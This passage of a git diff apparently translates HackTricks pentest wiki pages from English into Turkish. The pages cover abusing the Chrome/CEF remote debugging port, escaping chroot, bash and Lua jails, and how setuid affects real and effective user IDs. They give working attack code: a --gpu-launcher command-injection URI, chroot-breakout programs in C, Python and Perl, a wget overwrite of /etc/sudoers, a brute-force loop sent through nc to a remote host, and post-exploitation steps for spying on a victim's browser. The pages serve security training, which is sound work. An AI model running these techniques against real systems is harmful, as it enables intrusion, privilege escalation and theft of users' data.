CEF based applicatio**n with a configuration that was partially constructing from that URI. - -It was discovered that the URI parameters where URL decoded and used to launch the CEF basic application, allowing a user to **inject** the flag **`--gpu-launcher`** in the **command line** and execute arbitrary things. - -So, a payload like: +URI parametrelerinin URL kodlaması yapılarak CEF temel uygulamasını başlatmak için kullanıldığı ve bir kullanıcının **komut satırında** **`--gpu-launcher`** bayrağını **enjekte** etmesine ve rastgele şeyler çalıştırmasına olanak tanıdığı keşfedildi. +Yani, şöyle bir yük: ``` workspaces://anything%20--gpu-launcher=%22calc.exe%22@REGISTRATION_CODE ``` +calc.exe'yi çalıştıracak. -Will execute a calc.exe. - -### Overwrite Files - -Change the folder where **downloaded files are going to be saved** and download a file to **overwrite** frequently used **source code** of the application with your **malicious code**. +### Dosyaları Üzerine Yaz +**İndirilen dosyaların kaydedileceği** klasörü değiştirin ve bir dosya indirerek uygulamanın sık kullanılan **kaynak kodunu** **kötü niyetli kodunuzla** **üzerine yazın**. ```javascript ws = new WebSocket(url) //URL of the chrome devtools service ws.send( - JSON.stringify({ - id: 42069, - method: "Browser.setDownloadBehavior", - params: { - behavior: "allow", - downloadPath: "/code/", - }, - }) +JSON.stringify({ +id: 42069, +method: "Browser.setDownloadBehavior", +params: { +behavior: "allow", +downloadPath: "/code/", +}, +}) ) ``` +### Webdriver RCE ve exfiltrasyon -### Webdriver RCE and exfiltration - -According to this post: [https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148](https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148) it's possible to obtain RCE and exfiltrate internal pages from theriver. +Bu gönderiye göre: [https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148](https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148) RCE elde etmek ve iç sayfaları exfiltrate etmek mümkündür. ### Post-Exploitation -In a real environment and **after compromising** a user PC that uses Chrome/Chromium based browser you could launch a Chrome process with the **debugging activated and port-forward the debugging port** so you can access it. This way you will be able to **inspect everything the victim does with Chrome and steal sensitive information**. - -The stealth way is to **terminate every Chrome process** and then call something like +Gerçek bir ortamda ve **bir kullanıcı PC'sini ele geçirdikten sonra** Chrome/Chromium tabanlı bir tarayıcı kullanan, **debugging etkinleştirilmiş ve debugging portunu yönlendirilmiş** bir Chrome süreci başlatabilirsiniz. Bu şekilde, **kurbanın Chrome ile yaptığı her şeyi inceleyebilir ve hassas bilgileri çalabilirsiniz**. +Gizli yol, **her Chrome sürecini sonlandırmak** ve ardından şöyle bir şey çağırmaktır: ```bash Start-Process "Chrome" "--remote-debugging-port=9222 --restore-last-session" ``` - -## References +## Referanslar - [https://www.youtube.com/watch?v=iwR746pfTEc\&t=6345s](https://www.youtube.com/watch?v=iwR746pfTEc&t=6345s) - [https://github.com/taviso/cefdebug](https://github.com/taviso/cefdebug) diff --git a/src/linux-hardening/privilege-escalation/escaping-from-limited-bash.md b/src/linux-hardening/privilege-escalation/escaping-from-limited-bash.md index d2db5d66c..898b9db00 100644 --- a/src/linux-hardening/privilege-escalation/escaping-from-limited-bash.md +++ b/src/linux-hardening/privilege-escalation/escaping-from-limited-bash.md @@ -1,32 +1,31 @@ -# Escaping from Jails +# Jailer'dan Kaçış {{#include ../../banners/hacktricks-training.md}} ## **GTFOBins** -**Search in** [**https://gtfobins.github.io/**](https://gtfobins.github.io) **if you can execute any binary with "Shell" property** +**"Shell" özelliğine sahip herhangi bir ikili dosyayı çalıştırıp çalıştıramayacağınızı** [**https://gtfobins.github.io/**](https://gtfobins.github.io) **adresinde arayın** -## Chroot Escapes +## Chroot Kaçışları -From [wikipedia](https://en.wikipedia.org/wiki/Chroot#Limitations): The chroot mechanism is **not intended to defend** against intentional tampering by **privileged** (**root**) **users**. On most systems, chroot contexts do not stack properly and chrooted programs **with sufficient privileges may perform a second chroot to break out**.\ -Usually this means that to escape you need to be root inside the chroot. +[wikipedia](https://en.wikipedia.org/wiki/Chroot#Limitations)'dan: Chroot mekanizması **yetkili** (**root**) **kullanıcılar** tarafından kasıtlı müdahalelere karşı **savunma yapmak için** tasarlanmamıştır. Çoğu sistemde, chroot bağlamları düzgün bir şekilde yığılmamaktadır ve yeterli ayrıcalıklara sahip chroot edilmiş programlar **çıkmak için ikinci bir chroot gerçekleştirebilir**.\ +Genellikle bu, kaçış yapmak için chroot içinde root olmanız gerektiği anlamına gelir. > [!TIP] -> The **tool** [**chw00t**](https://github.com/earthquake/chw00t) was created to abuse the following escenarios and scape from `chroot`. +> **chw00t** [**aracı**](https://github.com/earthquake/chw00t), aşağıdaki senaryoları kötüye kullanmak ve `chroot`'tan kaçmak için oluşturulmuştur. ### Root + CWD > [!WARNING] -> If you are **root** inside a chroot you **can escape** creating **another chroot**. This because 2 chroots cannot coexists (in Linux), so if you create a folder and then **create a new chroot** on that new folder being **you outside of it**, you will now be **outside of the new chroot** and therefore you will be in the FS. +> Eğer bir chroot içinde **root** iseniz, **başka bir chroot** oluşturarak **kaçabilirsiniz**. Bunun nedeni, 2 chroot'un (Linux'ta) bir arada var olamayacağıdır, bu nedenle bir klasör oluşturup ardından **o yeni klasörde yeni bir chroot oluşturursanız** ve **dışında olursanız**, artık **yeni chroot'un dışındasınız** ve dolayısıyla FS'de olacaksınız. > -> This occurs because usually chroot DOESN'T move your working directory to the indicated one, so you can create a chroot but e outside of it. +> Bu, genellikle chroot'un çalışma dizininizi belirtilen yere taşımadığı için olur, bu nedenle bir chroot oluşturabilirsiniz ama onun dışında olursunuz. -Usually you won't find the `chroot` binary inside a chroot jail, but you **could compile, upload and execute** a binary: +Genellikle bir chroot hapishanesinde `chroot` ikili dosyasını bulamazsınız, ancak bir ikili dosyayı **derleyebilir, yükleyebilir ve çalıştırabilirsiniz**:
C: break_chroot.c - ```c #include #include @@ -36,61 +35,55 @@ Usually you won't find the `chroot` binary inside a chroot jail, but you **could int main(void) { - mkdir("chroot-dir", 0755); - chroot("chroot-dir"); - for(int i = 0; i < 1000; i++) { - chdir(".."); - } - chroot("."); - system("/bin/bash"); +mkdir("chroot-dir", 0755); +chroot("chroot-dir"); +for(int i = 0; i < 1000; i++) { +chdir(".."); +} +chroot("."); +system("/bin/bash"); } ``` -
Python - ```python #!/usr/bin/python import os os.mkdir("chroot-dir") os.chroot("chroot-dir") for i in range(1000): - os.chdir("..") +os.chdir("..") os.chroot(".") os.system("/bin/bash") ``` -
Perl - ```perl #!/usr/bin/perl mkdir "chroot-dir"; chroot "chroot-dir"; foreach my $i (0..1000) { - chdir ".." +chdir ".." } chroot "."; system("/bin/bash"); ``` -
-### Root + Saved fd +### Root + Kaydedilmiş fd > [!WARNING] -> This is similar to the previous case, but in this case the **attacker stores a file descriptor to the current directory** and then **creates the chroot in a new folder**. Finally, as he has **access** to that **FD** **outside** of the chroot, he access it and he **escapes**. +> Bu, önceki duruma benzer, ancak bu durumda **saldırgan mevcut dizine bir dosya tanımlayıcısı kaydeder** ve ardından **yeni bir klasörde chroot oluşturur**. Son olarak, chroot'un **dışında** o **FD'ye** **erişimi** olduğundan, ona erişir ve **kaçış** yapar.
C: break_chroot.c - ```c #include #include @@ -100,70 +93,68 @@ system("/bin/bash"); int main(void) { - mkdir("tmpdir", 0755); - dir_fd = open(".", O_RDONLY); - if(chroot("tmpdir")){ - perror("chroot"); - } - fchdir(dir_fd); - close(dir_fd); - for(x = 0; x < 1000; x++) chdir(".."); - chroot("."); +mkdir("tmpdir", 0755); +dir_fd = open(".", O_RDONLY); +if(chroot("tmpdir")){ +perror("chroot"); +} +fchdir(dir_fd); +close(dir_fd); +for(x = 0; x < 1000; x++) chdir(".."); +chroot("."); } ``` -
### Root + Fork + UDS (Unix Domain Sockets) > [!WARNING] -> FD can be passed over Unix Domain Sockets, so: +> FD, Unix Domain Sockets üzerinden geçirilebilir, bu yüzden: > -> - Create a child process (fork) -> - Create UDS so parent and child can talk -> - Run chroot in child process in a different folder -> - In parent proc, create a FD of a folder that is outside of new child proc chroot -> - Pass to child procc that FD using the UDS -> - Child process chdir to that FD, and because it's ouside of its chroot, he will escape the jail +> - Bir çocuk işlem oluştur (fork) +> - Ebeveyn ve çocuk arasında iletişim kurmak için UDS oluştur +> - Çocuk işlemde farklı bir klasörde chroot çalıştır +> - Ebeveyn işlemde, yeni çocuk işlem chroot'unun dışında bir klasörün FD'sini oluştur +> - Bu FD'yi UDS kullanarak çocuk işleme geçir +> - Çocuk işlem bu FD'ye chdir yapar ve çünkü chroot'unun dışındadır, hapisten kaçar ### Root + Mount > [!WARNING] > -> - Mounting root device (/) into a directory inside the chroot -> - Chrooting into that directory +> - Kök cihazı (/) chroot'un içindeki bir dizine monte et +> - O dizine chroot yap > -> This is possible in Linux +> Bu Linux'ta mümkündür ### Root + /proc > [!WARNING] > -> - Mount procfs into a directory inside the chroot (if it isn't yet) -> - Look for a pid that has a different root/cwd entry, like: /proc/1/root -> - Chroot into that entry +> - procfs'i chroot'un içindeki bir dizine monte et (henüz değilse) +> - Farklı bir root/cwd girişi olan bir pid ara, örneğin: /proc/1/root +> - O girişe chroot yap ### Root(?) + Fork > [!WARNING] > -> - Create a Fork (child proc) and chroot into a different folder deeper in the FS and CD on it -> - From the parent process, move the folder where the child process is in a folder previous to the chroot of the children -> - This children process will find himself outside of the chroot +> - Bir Fork (çocuk işlem) oluştur ve FS'de daha derin bir klasöre chroot yap ve oraya CD yap +> - Ebeveyn işlemden, çocuk işlemin bulunduğu klasörü çocukların chroot'unun öncesindeki bir klasöre taşı +> - Bu çocuk işlem kendini chroot'un dışında bulacaktır ### ptrace > [!WARNING] > -> - Time ago users could debug its own processes from a process of itself... but this is not possible by default anymore -> - Anyway, if it's possible, you could ptrace into a process and execute a shellcode inside of it ([see this example](linux-capabilities.md#cap_sys_ptrace)). +> - Bir zamanlar kullanıcılar kendi işlemlerini kendi süreçlerinden hata ayıklayabiliyordu... ama bu artık varsayılan olarak mümkün değil +> - Yine de, mümkünse, bir işleme ptrace yapabilir ve içinde bir shellcode çalıştırabilirsin ([bu örneğe bak](linux-capabilities.md#cap_sys_ptrace)). ## Bash Jails ### Enumeration -Get info about the jail: - +Hapishane hakkında bilgi al: ```bash echo $SHELL echo $PATH @@ -171,65 +162,52 @@ env export pwd ``` +### PATH'i Değiştir -### Modify PATH - -Check if you can modify the PATH env variable - +PATH ortam değişkenini değiştirebilir misiniz kontrol edin ```bash echo $PATH #See the path of the executables that you can use PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin #Try to change the path echo /home/* #List directory ``` - -### Using vim - +### vim Kullanımı ```bash :set shell=/bin/sh :shell ``` +### Script oluştur -### Create script - -Check if you can create an executable file with _/bin/bash_ as content - +_/bin/bash_ içeriği ile çalıştırılabilir bir dosya oluşturup oluşturamayacağınızı kontrol edin. ```bash red /bin/bash > w wx/path #Write /bin/bash in a writable and executable path ``` +### SSH ile bash alın -### Get bash from SSH - -If you are accessing via ssh you can use this trick to execute a bash shell: - +Eğer ssh üzerinden erişiyorsanız, bir bash shell'i çalıştırmak için bu hileyi kullanabilirsiniz: ```bash ssh -t user@ bash # Get directly an interactive shell ssh user@ -t "bash --noprofile -i" ssh user@ -t "() { :; }; sh -i " ``` - -### Declare - +### Beyan Et ```bash declare -n PATH; export PATH=/bin;bash -i BASH_CMDS[shell]=/bin/bash;shell -i ``` - ### Wget -You can overwrite for example sudoers file - +Örneğin sudoers dosyasını üzerine yazabilirsiniz. ```bash wget http://127.0.0.1:8080/sudoers -O /etc/sudoers ``` - -### Other tricks +### Diğer hileler [**https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/**](https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/)\ -[https://pen-testing.sans.org/blog/2012/0**b**6/06/escaping-restricted-linux-shells](https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells**](https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells)\ -[https://gtfobins.github.io](https://gtfobins.github.io/**](https/gtfobins.github.io)\ -**It could also be interesting the page:** +[https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells](https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells)\ +[https://gtfobins.github.io](https://gtfobins.github.io)\ +**Ayrıca şu sayfa ilginç olabilir:** {{#ref}} ../bypass-bash-restrictions/ @@ -237,7 +215,7 @@ wget http://127.0.0.1:8080/sudoers -O /etc/sudoers ## Python Jails -Tricks about escaping from python jails in the following page: +Python hapishanelerinden kaçış hakkında hileler aşağıdaki sayfada: {{#ref}} ../../generic-methodologies-and-resources/python/bypass-python-sandboxes/ @@ -245,29 +223,22 @@ Tricks about escaping from python jails in the following page: ## Lua Jails -In this page you can find the global functions you have access to inside lua: [https://www.gammon.com.au/scripts/doc.php?general=lua_base](https://www.gammon.com.au/scripts/doc.php?general=lua_base) - -**Eval with command execution:** +Bu sayfada lua içinde erişebileceğiniz global fonksiyonları bulabilirsiniz: [https://www.gammon.com.au/scripts/doc.php?general=lua_base](https://www.gammon.com.au/scripts/doc.php?general=lua_base) +**Komut yürütme ile Eval:** ```bash load(string.char(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))() ``` - -Some tricks to **call functions of a library without using dots**: - +Bir kütüphanenin **nokta kullanmadan fonksiyonlarını çağırmak için bazı ipuçları**: ```bash print(string.char(0x41, 0x42)) print(rawget(string, "char")(0x41, 0x42)) ``` - -Enumerate functions of a library: - +Bir kütüphanenin fonksiyonlarını listele: ```bash for k,v in pairs(string) do print(k,v) end ``` - -Note that every time you execute the previous one liner in a **different lua environment the order of the functions change**. Therefore if you need to execute one specific function you can perform a brute force attack loading different lua environments and calling the first function of le library: - +Not edin ki, önceki tek satırı **farklı bir lua ortamında her çalıştırdığınızda fonksiyonların sırası değişir**. Bu nedenle, belirli bir fonksiyonu çalıştırmanız gerekiyorsa, farklı lua ortamlarını yükleyerek ve le library'nin ilk fonksiyonunu çağırarak bir brute force saldırısı gerçekleştirebilirsiniz: ```bash #In this scenario you could BF the victim that is generating a new lua environment #for every interaction with the following line and when you are lucky @@ -278,15 +249,12 @@ for k,chr in pairs(string) do print(chr(0x6f,0x73,0x2e,0x65,0x78)) end #and "char" from string library, and the use both to execute a command for i in seq 1000; do echo "for k1,chr in pairs(string) do for k2,exec in pairs(os) do print(k1,k2) print(exec(chr(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))) break end break end" | nc 10.10.10.10 10006 | grep -A5 "Code: char"; done ``` - -**Get interactive lua shell**: If you are inside a limited lua shell you can get a new lua shell (and hopefully unlimited) calling: - +**Etkileşimli lua shell alın**: Eğer sınırlı bir lua shell içindeyseniz, yeni bir lua shell (ve umarım sınırsız) almak için şunu çağırabilirsiniz: ```bash debug.debug() ``` +## Referanslar -## References - -- [https://www.youtube.com/watch?v=UO618TeyCWo](https://www.youtube.com/watch?v=UO618TeyCWo) (Slides: [https://deepsec.net/docs/Slides/2015/Chw00t_How_To_Break%20Out_from_Various_Chroot_Solutions\_-_Bucsay_Balazs.pdf](https://deepsec.net/docs/Slides/2015/Chw00t_How_To_Break%20Out_from_Various_Chroot_Solutions_-_Bucsay_Balazs.pdf)) +- [https://www.youtube.com/watch?v=UO618TeyCWo](https://www.youtube.com/watch?v=UO618TeyCWo) (Slaytlar: [https://deepsec.net/docs/Slides/2015/Chw00t_How_To_Break%20Out_from_Various_Chroot_Solutions\_-_Bucsay_Balazs.pdf](https://deepsec.net/docs/Slides/2015/Chw00t_How_To_Break%20Out_from_Various_Chroot_Solutions_-_Bucsay_Balazs.pdf)) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/euid-ruid-suid.md b/src/linux-hardening/privilege-escalation/euid-ruid-suid.md index f9846b44b..f652919c6 100644 --- a/src/linux-hardening/privilege-escalation/euid-ruid-suid.md +++ b/src/linux-hardening/privilege-escalation/euid-ruid-suid.md @@ -2,88 +2,80 @@ {{#include ../../banners/hacktricks-training.md}} -
-Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified: +### Kullanıcı Tanımlama Değişkenleri -{% embed url="https://academy.8ksec.io/" %} +- **`ruid`**: **gerçek kullanıcı kimliği**, süreci başlatan kullanıcıyı belirtir. +- **`euid`**: **etkili kullanıcı kimliği** olarak bilinir, sistemin süreç ayrıcalıklarını belirlemek için kullandığı kullanıcı kimliğini temsil eder. Genel olarak, `euid` `ruid` ile aynıdır, SetUID ikili yürütmesi gibi durumlar dışında, burada `euid` dosya sahibinin kimliğini alır ve böylece belirli operasyonel izinler verir. +- **`suid`**: Bu **kaydedilmiş kullanıcı kimliği**, yüksek ayrıcalıklı bir sürecin (genellikle root olarak çalışan) belirli görevleri yerine getirmek için geçici olarak ayrıcalıklarını bırakması gerektiğinde kritik öneme sahiptir, daha sonra başlangıçtaki yükseltilmiş durumunu yeniden kazanır. -### User Identification Variables +#### Önemli Not -- **`ruid`**: The **real user ID** denotes the user who initiated the process. -- **`euid`**: Known as the **effective user ID**, it represents the user identity utilized by the system to ascertain process privileges. Generally, `euid` mirrors `ruid`, barring instances like a SetUID binary execution, where `euid` assumes the file owner's identity, thus granting specific operational permissions. -- **`suid`**: This **saved user ID** is pivotal when a high-privilege process (typically running as root) needs to temporarily relinquish its privileges to perform certain tasks, only to later reclaim its initial elevated status. +Root altında çalışmayan bir süreç yalnızca `euid`'sini mevcut `ruid`, `euid` veya `suid` ile eşleştirebilir. -#### Important Note +### set\*uid Fonksiyonlarını Anlamak -A process not operating under root can only modify its `euid` to match the current `ruid`, `euid`, or `suid`. +- **`setuid`**: İlk varsayımların aksine, `setuid` esasen `ruid` yerine `euid`'yi değiştirir. Özellikle, ayrıcalıklı süreçler için, `ruid`, `euid` ve `suid`'yi belirtilen kullanıcı ile, genellikle root ile eşleştirir ve bu ID'leri `suid`'nin geçersiz kılması nedeniyle sağlamlaştırır. Ayrıntılı bilgiler [setuid man sayfasında](https://man7.org/linux/man-pages/man2/setuid.2.html) bulunabilir. +- **`setreuid`** ve **`setresuid`**: Bu fonksiyonlar `ruid`, `euid` ve `suid`'nin ince ayarını yapmaya olanak tanır. Ancak, yetenekleri sürecin ayrıcalık seviyesine bağlıdır. Root olmayan süreçler için değişiklikler mevcut `ruid`, `euid` ve `suid` değerleri ile sınırlıdır. Buna karşın, root süreçleri veya `CAP_SETUID` yeteneğine sahip olanlar bu ID'lere keyfi değerler atayabilir. Daha fazla bilgi [setresuid man sayfasında](https://man7.org/linux/man-pages/man2/setresuid.2.html) ve [setreuid man sayfasında](https://man7.org/linux/man-pages/man2/setreuid.2.html) bulunabilir. -### Understanding set\*uid Functions +Bu işlevler, bir güvenlik mekanizması olarak değil, bir programın etkili kullanıcı kimliğini değiştirerek başka bir kullanıcının kimliğini benimsemesi gibi istenen operasyonel akışı kolaylaştırmak için tasarlanmıştır. -- **`setuid`**: Contrary to initial assumptions, `setuid` primarily modifies `euid` rather than `ruid`. Specifically, for privileged processes, it aligns `ruid`, `euid`, and `suid` with the specified user, often root, effectively solidifying these IDs due to the overriding `suid`. Detailed insights can be found in the [setuid man page](https://man7.org/linux/man-pages/man2/setuid.2.html). -- **`setreuid`** and **`setresuid`**: These functions allow for the nuanced adjustment of `ruid`, `euid`, and `suid`. However, their capabilities are contingent on the process's privilege level. For non-root processes, modifications are restricted to the current values of `ruid`, `euid`, and `suid`. In contrast, root processes or those with `CAP_SETUID` capability can assign arbitrary values to these IDs. More information can be gleaned from the [setresuid man page](https://man7.org/linux/man-pages/man2/setresuid.2.html) and the [setreuid man page](https://man7.org/linux/man-pages/man2/setreuid.2.html). +Özellikle, `setuid` root'a ayrıcalık yükseltmek için yaygın bir yöntem olabilir (çünkü tüm ID'leri root ile eşleştirir), bu fonksiyonlar arasındaki farkları ayırt etmek, farklı senaryolarda kullanıcı kimliği davranışlarını anlamak ve manipüle etmek için kritik öneme sahiptir. -These functionalities are designed not as a security mechanism but to facilitate the intended operational flow, such as when a program adopts another user's identity by altering its effective user ID. +### Linux'ta Program Yürütme Mekanizmaları -Notably, while `setuid` might be a common go-to for privilege elevation to root (since it aligns all IDs to root), differentiating between these functions is crucial for understanding and manipulating user ID behaviors in varying scenarios. +#### **`execve` Sistem Çağrısı** -### Program Execution Mechanisms in Linux +- **Fonksiyon**: `execve`, ilk argümanla belirlenen bir programı başlatır. İki dizi argümanı alır, `argv` argümanlar için ve `envp` ortam için. +- **Davranış**: Çağıranın bellek alanını korur ancak yığın, yığın ve veri segmentlerini yeniler. Programın kodu yeni programla değiştirilir. +- **Kullanıcı Kimliği Koruma**: +- `ruid`, `euid` ve ek grup kimlikleri değişmeden kalır. +- Yeni programın SetUID biti ayarlanmışsa `euid`'de ince değişiklikler olabilir. +- `suid`, yürütme sonrası `euid`'den güncellenir. +- **Dokümantasyon**: Ayrıntılı bilgi [`execve` man sayfasında](https://man7.org/linux/man-pages/man2/execve.2.html) bulunabilir. -#### **`execve` System Call** +#### **`system` Fonksiyonu** -- **Functionality**: `execve` initiates a program, determined by the first argument. It takes two array arguments, `argv` for arguments and `envp` for the environment. -- **Behavior**: It retains the memory space of the caller but refreshes the stack, heap, and data segments. The program's code is replaced by the new program. -- **User ID Preservation**: - - `ruid`, `euid`, and supplementary group IDs remain unaltered. - - `euid` might have nuanced changes if the new program has the SetUID bit set. - - `suid` gets updated from `euid` post-execution. -- **Documentation**: Detailed information can be found on the [`execve` man page](https://man7.org/linux/man-pages/man2/execve.2.html). +- **Fonksiyon**: `execve`'nin aksine, `system` bir çocuk süreç oluşturur ve o çocuk süreç içinde bir komutu yürütür. +- **Komut Yürütme**: Komutu `sh` aracılığıyla `execl("/bin/sh", "sh", "-c", command, (char *) NULL);` ile yürütür. +- **Davranış**: `execl`, `execve`'nin bir biçimi olduğundan benzer şekilde çalışır ancak yeni bir çocuk süreç bağlamında. +- **Dokümantasyon**: Daha fazla bilgi [`system` man sayfasında](https://man7.org/linux/man-pages/man3/system.3.html) bulunabilir. -#### **`system` Function** - -- **Functionality**: Unlike `execve`, `system` creates a child process using `fork` and executes a command within that child process using `execl`. -- **Command Execution**: Executes the command via `sh` with `execl("/bin/sh", "sh", "-c", command, (char *) NULL);`. -- **Behavior**: As `execl` is a form of `execve`, it operates similarly but in the context of a new child process. -- **Documentation**: Further insights can be obtained from the [`system` man page](https://man7.org/linux/man-pages/man3/system.3.html). - -#### **Behavior of `bash` and `sh` with SUID** +#### **SUID ile `bash` ve `sh` Davranışı** - **`bash`**: - - Has a `-p` option influencing how `euid` and `ruid` are treated. - - Without `-p`, `bash` sets `euid` to `ruid` if they initially differ. - - With `-p`, the initial `euid` is preserved. - - More details can be found on the [`bash` man page](https://linux.die.net/man/1/bash). +- `euid` ve `ruid`'nin nasıl ele alındığını etkileyen bir `-p` seçeneğine sahiptir. +- `-p` olmadan, `bash` `euid`'yi `ruid` ile eşleştirir eğer başlangıçta farklılarsa. +- `-p` ile, başlangıçtaki `euid` korunur. +- Daha fazla ayrıntı [`bash` man sayfasında](https://linux.die.net/man/1/bash) bulunabilir. - **`sh`**: - - Does not possess a mechanism similar to `-p` in `bash`. - - The behavior concerning user IDs is not explicitly mentioned, except under the `-i` option, emphasizing the preservation of `euid` and `ruid` equality. - - Additional information is available on the [`sh` man page](https://man7.org/linux/man-pages/man1/sh.1p.html). +- `bash`'deki `-p` seçeneğine benzer bir mekanizmaya sahip değildir. +- Kullanıcı kimlikleri ile ilgili davranış açıkça belirtilmemiştir, yalnızca `-i` seçeneği altında `euid` ve `ruid` eşitliğinin korunmasına vurgu yapılmaktadır. +- Ek bilgi [`sh` man sayfasında](https://man7.org/linux/man-pages/man1/sh.1p.html) bulunabilir. -These mechanisms, distinct in their operation, offer a versatile range of options for executing and transitioning between programs, with specific nuances in how user IDs are managed and preserved. +Bu mekanizmalar, kullanıcı kimliklerinin nasıl yönetildiği ve korunduğu konusunda belirli nüanslarla programları yürütmek ve geçiş yapmak için çeşitli seçenekler sunar. -### Testing User ID Behaviors in Executions +### Yürütmelerde Kullanıcı Kimliği Davranışlarını Test Etme -Examples taken from https://0xdf.gitlab.io/2022/05/31/setuid-rabbithole.html#testing-on-jail, check it for further information +Örnekler https://0xdf.gitlab.io/2022/05/31/setuid-rabbithole.html#testing-on-jail adresinden alınmıştır, daha fazla bilgi için kontrol edin. -#### Case 1: Using `setuid` with `system` +#### Durum 1: `system` ile `setuid` Kullanımı -**Objective**: Understanding the effect of `setuid` in combination with `system` and `bash` as `sh`. - -**C Code**: +**Amaç**: `setuid`'nin `system` ve `bash` ile `sh` kombinasyonundaki etkisini anlamak. +**C Kodu**: ```c #define _GNU_SOURCE #include #include int main(void) { - setuid(1000); - system("id"); - return 0; +setuid(1000); +system("id"); +return 0; } ``` - -**Compilation and Permissions:** - +**Derleme ve İzinler:** ```bash oxdf@hacky$ gcc a.c -o /mnt/nfsshare/a; oxdf@hacky$ chmod 4755 /mnt/nfsshare/a @@ -93,132 +85,108 @@ oxdf@hacky$ chmod 4755 /mnt/nfsshare/a bash-4.2$ $ ./a uid=99(nobody) gid=99(nobody) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0 ``` +**Analiz:** -**Analysis:** +- `ruid` ve `euid` sırasıyla 99 (nobody) ve 1000 (frank) olarak başlar. +- `setuid` her ikisini de 1000'e ayarlar. +- `system`, sh'den bash'e olan symlink nedeniyle `/bin/bash -c id` komutunu çalıştırır. +- `bash`, `-p` olmadan, `euid`'yi `ruid` ile eşleştirir, bu da her ikisinin de 99 (nobody) olmasına neden olur. -- `ruid` and `euid` start as 99 (nobody) and 1000 (frank) respectively. -- `setuid` aligns both to 1000. -- `system` executes `/bin/bash -c id` due to the symlink from sh to bash. -- `bash`, without `-p`, adjusts `euid` to match `ruid`, resulting in both being 99 (nobody). - -#### Case 2: Using setreuid with system - -**C Code**: +#### Durum 2: setreuid ile system kullanma +**C Kodu**: ```c #define _GNU_SOURCE #include #include int main(void) { - setreuid(1000, 1000); - system("id"); - return 0; +setreuid(1000, 1000); +system("id"); +return 0; } ``` - -**Compilation and Permissions:** - +**Derleme ve İzinler:** ```bash oxdf@hacky$ gcc b.c -o /mnt/nfsshare/b; chmod 4755 /mnt/nfsshare/b ``` - -**Execution and Result:** - +**İcra ve Sonuç:** ```bash bash-4.2$ $ ./b uid=1000(frank) gid=99(nobody) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0 ``` +**Analiz:** -**Analysis:** +- `setreuid`, hem ruid hem de euid'yi 1000 olarak ayarlar. +- `system`, kullanıcı kimliklerinin eşitliği nedeniyle bash'i çağırır ve bu da frank olarak etkili bir şekilde çalışmasını sağlar. -- `setreuid` sets both ruid and euid to 1000. -- `system` invokes bash, which maintains the user IDs due to their equality, effectively operating as frank. - -#### Case 3: Using setuid with execve - -Objective: Exploring the interaction between setuid and execve. +#### Durum 3: execve ile setuid kullanımı +Amaç: setuid ve execve arasındaki etkileşimi keşfetmek. ```bash #define _GNU_SOURCE #include #include int main(void) { - setuid(1000); - execve("/usr/bin/id", NULL, NULL); - return 0; +setuid(1000); +execve("/usr/bin/id", NULL, NULL); +return 0; } ``` - -**Execution and Result:** - +**İcra ve Sonuç:** ```bash bash-4.2$ $ ./c uid=99(nobody) gid=99(nobody) euid=1000(frank) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0 ``` +**Analiz:** -**Analysis:** - -- `ruid` remains 99, but euid is set to 1000, in line with setuid's effect. - -**C Code Example 2 (Calling Bash):** +- `ruid` 99 olarak kalır, ancak euid 1000 olarak ayarlanır, setuid'nin etkisiyle uyumlu olarak. +**C Kod Örneği 2 (Bash Çağrısı):** ```bash #define _GNU_SOURCE #include #include int main(void) { - setuid(1000); - execve("/bin/bash", NULL, NULL); - return 0; +setuid(1000); +execve("/bin/bash", NULL, NULL); +return 0; } ``` - -**Execution and Result:** - +**İcra ve Sonuç:** ```bash bash-4.2$ $ ./d bash-4.2$ $ id uid=99(nobody) gid=99(nobody) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0 ``` +**Analiz:** -**Analysis:** - -- Although `euid` is set to 1000 by `setuid`, `bash` resets euid to `ruid` (99) due to the absence of `-p`. - -**C Code Example 3 (Using bash -p):** +- `euid` `setuid` ile 1000 olarak ayarlanmış olmasına rağmen, `bash` `-p` eksikliği nedeniyle `euid`'yi `ruid`'ye (99) sıfırlar. +**C Kod Örneği 3 (bash -p Kullanarak):** ```bash #define _GNU_SOURCE #include #include int main(void) { - char *const paramList[10] = {"/bin/bash", "-p", NULL}; - setuid(1000); - execve(paramList[0], paramList, NULL); - return 0; +char *const paramList[10] = {"/bin/bash", "-p", NULL}; +setuid(1000); +execve(paramList[0], paramList, NULL); +return 0; } ``` - -**Execution and Result:** - +**İcra ve Sonuç:** ```bash bash-4.2$ $ ./e bash-4.2$ $ id uid=99(nobody) gid=99(nobody) euid=100 ``` - -## References +## Referanslar - [https://0xdf.gitlab.io/2022/05/31/setuid-rabbithole.html#testing-on-jail](https://0xdf.gitlab.io/2022/05/31/setuid-rabbithole.html#testing-on-jail) -
